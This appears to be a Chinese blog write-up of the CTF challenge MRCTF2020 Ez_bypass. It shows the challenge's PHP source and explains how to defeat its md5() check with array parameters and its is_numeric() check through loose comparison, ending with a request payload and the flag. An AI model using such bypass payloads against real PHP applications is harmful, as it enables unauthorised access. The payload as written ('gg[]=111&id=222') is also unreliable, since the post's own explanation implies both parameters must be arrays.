buuctf-[MRCTF2020]Ez_bypass

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

buuctf-[MRCTF2020]Ez_bypass

junlebao   2021-01-18 我要评论

今天,没事干,点进这个靶场。就是一个简单审计

贴出源码,分析下

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

需要绕过的就是一个md5比较,md5函数不能处理数组,处理数组会报错,就会返回null,然后经过md5就相等了,传入的参数不同,gg和id的值就不同,

测试一下:

<?php
if (md5([])===md5([])){
    echo "相等";
}else{
    echo "不相等";
}
?>        //打印 相等

还有一个就是is_numeric()函数,它的作用就是判断参数是否为数字或者是字符串数字,如果不是则返回false。然后就是==的弱类型比较,我们需要进入里面的if语句,所以我们必须让is_numeric()函数返回为false

<?php

$b='1234567a';
var_dump(is_numeric($b));  //返回bool(false)

var_dump($b==1234567); //返回bool(true)
?>

且弱类型比较时还需要等于1234567   好绕过,php的弱类型比较 1234567a==1234567这两个肯定返回true

于是我们构造payload:get方式提交gg[]=111&id=222同时post传参passwd=1234567a

 

 

 

于是获得flag{fe9822ad-a24e-4f7c-8d41-e8e850ff0331}

 

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们